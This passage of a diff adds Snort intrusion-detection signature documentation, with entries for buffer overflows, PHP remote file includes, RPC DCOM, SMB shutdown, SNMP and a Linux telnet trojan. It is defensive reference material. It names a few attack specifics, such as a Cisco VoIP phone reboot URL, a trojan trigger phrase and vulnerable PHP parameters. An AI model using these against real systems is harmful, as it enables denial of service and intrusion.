+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2545.txt
+++ snort-2.8.5.2/doc/signatures/2545.txt
@@ -0,0 +1,63 @@
+Rule: 
+
+--
+Sid:
+2545
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in AppleFileServer.
+
+-- 
+
+Impact: 
+Serious. Unauthorized remote administrative access.
+
+--
+Detailed Information:
+AppleFileServer is used to share files and mount remote drives between 
+machines using Apple Macintosh OS X. An error in the processing of
+PathName may lead to a buffer overflow. If the length of a string for
+AFPName is longer than the declared length, the buffer will be
+overflowed and may present an attacker with the opportunity to execute
+code of their choosing.
+
+--
+
+Attack Scenarios: 
+An attacker can supply an AFPName longer than what is expected by the
+service and overwrite portions of memory leading to the execution of
+code.
+
+-- 
+
+Ease of Attack: 
+Simple
+
+-- 
+
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Disable AFP if not needed
+
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1631.txt
+++ snort-2.8.5.2/doc/signatures/1631.txt
@@ -0,0 +1,51 @@
+Rule:
+
+--
+Sid: 1631
+
+--
+Summary:
+This event is generated when activity relating to network chat clients is detected.
+
+--
+Impact:
+Policy Violation. Use of chat clients to communicate with unkown external sources may be against the policy of many organizations.
+
+--
+Detailed Information:
+Instant Messaging (IM) and other chat related client software can allow users to transfer files directly between hosts. This can allow malicious users to circumvent the protection offered by a network firewall.
+
+Vulnerabilities in these clients may also allow remote attackers to gain unauthorized access to a host.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using the file transfer capabilities of an IM client.
+
+An attacker might utilize a vulnerability in an IM client to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2109.txt
+++ snort-2.8.5.2/doc/signatures/2109.txt
@@ -0,0 +1,51 @@
+Rule:
+
+--
+Sid:
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow condition in the Post Office Protocol (POP) command TOP.
+
+--
+Impact:
+Possible remote execution of arbitrary code leading to a remote root 
+compromise.
+
+--
+Detailed Information:
+A vulnerability exists such that an attacker may overflow a buffer by sending a line feed character to a POP server via the TOP command.
+
+--
+Attack Scenarios:
+Simple.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+RFC 1939:
+http://www.faqs.org/rfcs/rfc1939.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000629.txt
+++ snort-2.8.5.2/doc/signatures/100000629.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000629
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "message_view.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"message_view.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1143.txt
+++ snort-2.8.5.2/doc/signatures/1143.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1143
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1731.txt
+++ snort-2.8.5.2/doc/signatures/1731.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1731
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2999.txt
+++ snort-2.8.5.2/doc/signatures/2999.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+2999
+
+--
+Summary:
+This event is generated when an attempt is made to shutdown a Windows
+system via SMB. 
+
+--
+Impact:
+Serious.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to shutdown a Windows
+system via SMB across the network.
+
+It may be possible for an attacker to manipulate a Windows system
+from a remote location. Shutting down a system may lead to a Denial of
+Service for the target host.
+
+--
+Affected Systems:
+	Microsoft Windows systems.
+
+--
+Attack Scenarios:
+An attacker may be able to manipulate a target system using SMB. The
+attacker may gain complete control over the affected system.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+Disallow remote registry manipulation.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3225.txt
+++ snort-2.8.5.2/doc/signatures/3225.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3225
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3418.txt
+++ snort-2.8.5.2/doc/signatures/3418.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3418
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1413.txt
+++ snort-2.8.5.2/doc/signatures/1413.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+1413
+
+--
+
+Summary:
+This event is generated when an SNMP connection over UDP using the 
+default 'private' community is made.
+
+--
+
+Impact:
+Information gathering
+
+--
+
+Detailed Information:
+SNMP (Simple Network Management Protocol) v1 uses communities and IP 
+addresses to authenticate communication between the SNMP client and SNMP
+daemon. Many SNMP implementations come pre-configured with 'public' and 
+'private' communities. If these are not disabled, the attacker can 
+gather a great deal of information about the device running the SNMP 
+daemon.
+
+--
+
+Affected Systems:
+Devices running SNMP daemons with 'public' community enabled.
+
+--
+
+Attack Scenarios:
+An attacker scans a range of IPs for SNMP servers having the 'public' 
+community set and gathers information about the hosts.
+
+--
+
+Ease of Attack:
+Simple.
+
+--
+
+False Positives:
+None known.
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Disable the 'public' and 'private' communities before connecting the 
+device with SNMP on the Internet or block access to SNMP ports using a 
+packet filtering firewall for unauthorized addresses.
+
+--
+
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Chaos <c@aufbix.org>
+
+-- 
+
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0013
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0012
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0517
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1204.txt
+++ snort-2.8.5.2/doc/signatures/1204.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+1204
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Fluid Dynamics Software Corporation
+http://www.xav.com/scripts/axs/help/1508.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000717.txt
+++ snort-2.8.5.2/doc/signatures/100000717.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000717
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "PHPRaid" application running on a webserver. Access to the file "configuration.php" using a remote file being passed as the "phpraid_dir" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpraid_dir" parameter in the "configuration.php" script used by the "PHPRaid" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPRaid
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/121-2.txt
+++ snort-2.8.5.2/doc/signatures/121-2.txt
@@ -0,0 +1,98 @@
+
+
+Rule:
+
+--
+Sid:
+121-2
+
+--
+Summary:
+This event is generated when the pre-processor flow-portscan detects
+network traffic that may constitute an attack. Specifically a sliding
+scale scanner limit exceeded event was generated.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the flow-portscan pre-processor detects
+network traffic that may consititute an attack.
+
+The flow-portscan pre-processor uses a flow based technique to identify
+portscanning in one-to-many and many-to-one scenarios based on flow
+creation in the flow pre-processor.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.flow-portscan in the docs directory
+of the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+detailed instructions and examples on how to tune and use the
+pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Chris Green <cmg@snort.org>
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/215.txt
+++ snort-2.8.5.2/doc/signatures/215.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+215
+
+--
+Summary:
+This event is generated when  an attacker attempts to connect to a 
+Telnet server using the phrase "d13hh[".
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+This Trojan affects Linux operating systems:
+
+Due to the nature of this Trojan it is unlikely that the attacker's 
+client IP address has been spoofed.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise may be due to the exploitation of another vulnerability and 
+the attacker is leaving another way into the machine for further use.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Telnet access from external sources.
+
+Use SSH as opposed to Telnet for access from external locations
+
+Delete the Trojan and kill any associated processes.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1202.txt
+++ snort-2.8.5.2/doc/signatures/1202.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1202
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1814.txt
+++ snort-2.8.5.2/doc/signatures/1814.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+1814
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a flaw on a 
+Cisco VoIP telephone.
+
+--
+Impact:
+Denial of Service.
+
+--
+Detailed Information:
+Certain versions of Cisco's VoIP phones are vulnerable to an attack that
+can cause them to reboot when they recieve an http request such as 
+http://ciscophoneip/StreamingStatistics?<value> where <value> is an 
+integer value of arbitrary high value, typically a number greater than 
+32768.
+
+--
+Affected Systems:
+	Cisco VoIP Phones 7910, 7940, and 7960
+	  (software version 3.0 to 3.2)
+
+--
+Attack Scenarios:
+A remote user can send the exploit url to the phone, causing the phone 
+to reboot and disallowingthe user to place or recieve calls for up to 30
+seconds.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives: 
+None known.
+
+--
+False Negatives: 
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com> 
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/4794
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1845.txt
+++ snort-2.8.5.2/doc/signatures/1845.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1845
+
+--
+Summary:
+This event is generated when a remote attacker sends an IMAP LIST
+command with a malformed and overly long argument to an internal IMAP
+server port. This may indicate an attempt to exploit a buffer overflow
+vulnerability in the IMAP LIST command. This may also affect other IMAP
+server implementations.
+
+--
+Impact:
+Possible shell access on the IMAP server, leading to arbitrary code
+execution. The attacker must have a valid IMAP account on the mail
+server to attempt this exploit.
+
+--
+Detailed Information:
+When a LIST command with an overly long argument is sent to a vulnerable
+IMAP server, a buffer overflow condition may occur. This can allow an
+attacker to execute arbitrary code from the command shell. Note that
+this exploit can only be attempted by a user with a valid IMAP account.
+
+--
+Affected Systems:
+	University of Washington imapd versions 10.234 or 12.264.
+
+--
+Attack Scenarios:
+An attacker with an IMAP account on the server can send a sufficiently
+long LIST command to the IMAP server, creating a buffer overflow
+condition. This can then allow the attacker to gain shell access on the
+compromised server, possibly leading to the execution of arbitrary code.
+
+--
+Ease of Attack:
+Simple. Exploits exist, but the user must have a valid IMAP account on
+the server.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the patch for your current version of imapd appropriate to your
+operating system. 
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000675.txt
+++ snort-2.8.5.2/doc/signatures/100000675.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000675
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Harpia" application running on a webserver. 
+Access to the file "pfooter.php" using a remote file being passed as the 
+"theme_root" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "theme_root" parameter in the "pfooter.php" script used 
+by the "Harpia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Harpia
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2812.txt
+++ snort-2.8.5.2/doc/signatures/2812.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2812
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure validate_for_local_flavor
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/930.txt
+++ snort-2.8.5.2/doc/signatures/930.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+930
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a ColdFusion web server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Coldfusion. Many known vulnerabilities exist for this platform and 
+the attack scenarios are legion.
+
+--
+Affected Systems:
+	All systems running ColdFusion
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2592.txt
+++ snort-2.8.5.2/doc/signatures/2592.txt
@@ -0,0 +1,68 @@
+Rule:
+
+
+--
